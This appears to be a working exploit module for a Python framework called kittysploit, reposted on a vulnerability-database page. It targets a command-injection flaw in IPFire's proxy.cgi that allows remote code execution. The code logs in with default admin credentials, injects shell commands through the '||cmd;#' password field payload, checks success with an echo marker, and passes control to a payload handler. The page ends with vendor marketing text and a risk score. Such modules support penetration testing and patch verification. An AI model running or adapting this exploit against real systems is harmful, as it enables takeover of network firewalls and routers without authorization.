#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""IPFire Proxy RCE"""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'IPFire Proxy RCE',
'description': 'Module exploits IPFire < 2.19 Core Update 101 Remote Code Execution vulnerability which allows executing commands on operating system level.',
'author': ['Yann CAM', 'Marcin Bury'],
'platform': Platform.LINUX,
'payload': {'default': 'nopayload'},
'references': ['https://www.exploit-db.com/exploits/39765/', 'http://www.ipfire.org/news/ipfire-2-19-core-update-101-released'],
'tags': ['iot', 'router', 'rce', 'unauth'],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
},
}
target = OptIP("", "Target IPv4 or IPv6 address")
port = OptPort(444, "Target HTTP port")
ssl = OptBool(True, "SSL enabled: true/false")
username = OptString("admin", "Username to log in with")
password = OptString("admin", "Password to log in with")
def execute(self, cmd):
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"Referer": self.get_target_url(path="/cgi-bin/proxy.cgi"),
}
payload = "||{};#".format(cmd)
data = {
"NCSA_USERNAME": self.random_text(12),
"NCSA_GROUP": "standard",
"NCSA_PASS": payload,
"NCSA_PASS_CONFIRM": payload,
"SUBMIT": "Create+user",
"ACTION": "Add",
"NCSA_MIN_PASS_LEN": "6",
}
response = self.http_request(
method="POST",
path="/cgi-bin/proxy.cgi",
headers=headers,
data=data,
auth=(self.username, self.password),
)
if response:
end = response.text.find("<!DOCTYPE html>")
if end:
return response.text[:end]
return ""
def check(self):
mark = self.random_text(32)
cmd = "echo {}".format(mark)
response = self.execute(cmd)
if mark in response:
return {"vulnerable": True, "reason": "Check succeeded", "confidence": "medium"} # target is vulnerable
return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"} # target is not vulnerable
def run(self):
result = self.check()
if isinstance(result, dict):
if not result.get("vulnerable"):
self.not_vulnerable()
return False
elif not result:
self.not_vulnerable()
return False
print_success("Target appears vulnerable")
return self.handler_execute()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
19 Aug 2026 05:37Current
5.9Medium risk
Vulners AI Score5.9